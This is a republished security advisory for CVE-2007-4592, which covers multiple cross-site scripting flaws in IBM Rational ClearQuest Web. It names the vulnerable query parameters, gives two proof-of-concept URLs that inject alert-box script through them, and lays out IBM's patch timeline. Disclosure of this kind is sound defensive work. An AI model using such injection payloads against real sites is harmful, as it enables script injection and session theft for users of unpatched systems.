SecurityReason - IBM Rational ClearQuest Web Multiple XSS Vulnerabilities

Advisory Text :

IBM Rational ClearQuest Web Multiple XSS

CVE-2007-4592

Discovered on 07-24-07 by sasquatch of SecureState - www.securestate.com

Multiple cross site scripting vulnerabilities exist within IBM's Rational
ClearQuest Web interface.

VULNERABLE VARIABLES:

=====================

contextid (query string parameter)

schema (query string parameter)

userNameVal ("User Name" text box)

POC URL:
http://www.website.com/cqweb/login?/cqweb/main?command=GenerateMainFrame
&service=CQ&schema=SCHEMAHERE";
alert('XSS');//&contextid=DATABASECONTEXTHERE"; alert('XSS');//

VULNERABLE VARIABLE:

====================

username (query string parameter)

POC URL:
http://www.website.com/cqweb/login?targetUrl=/cqweb/main?command=Generat
eMainFrame&ratl_userdb=DBHERE,&test=&clientServerAddress=http://www.webs
ite.com/cqweb/login&username=test</script><script>alert('xss')</script>&
password=test&schema=SCHEMAHERE&userDb=DBHERE

VENDOR RESPONSE:

================

Test fixes are now available from IBM Rational Support for versions
2003.06.16 Patch 2007C, 7.0.0.1_iFix04, and 7.0.1.0_iFix01.

These are the latest available patch releases before December 19, 2007.

Test fixes will be made available from IBM Rational Support some time in
January 2008 for versions 2003.06.16 Patch 2007D, 7.0.0.2, and 7.0.1.1.

These patch releases became available on December 19, 2007 but there was no
time to fix this vulnerability in these releases.

For this reason, we will provide test fixes that do fix it some time in the
middle or latter half of January 2008.

The following patch releases will fix this vulnerability: 2003.06.16 Patch
2008A, 7.0.0.2_iFix01, and 7.0.1.1_iFix01.

These patch releases were made available on March 4th, 2008.

Test fixes are only available by calling IBM Rational Support, which then
provides them to customers.

Patch releases are available via download. Please contact IBM Rational
Support for detailed information.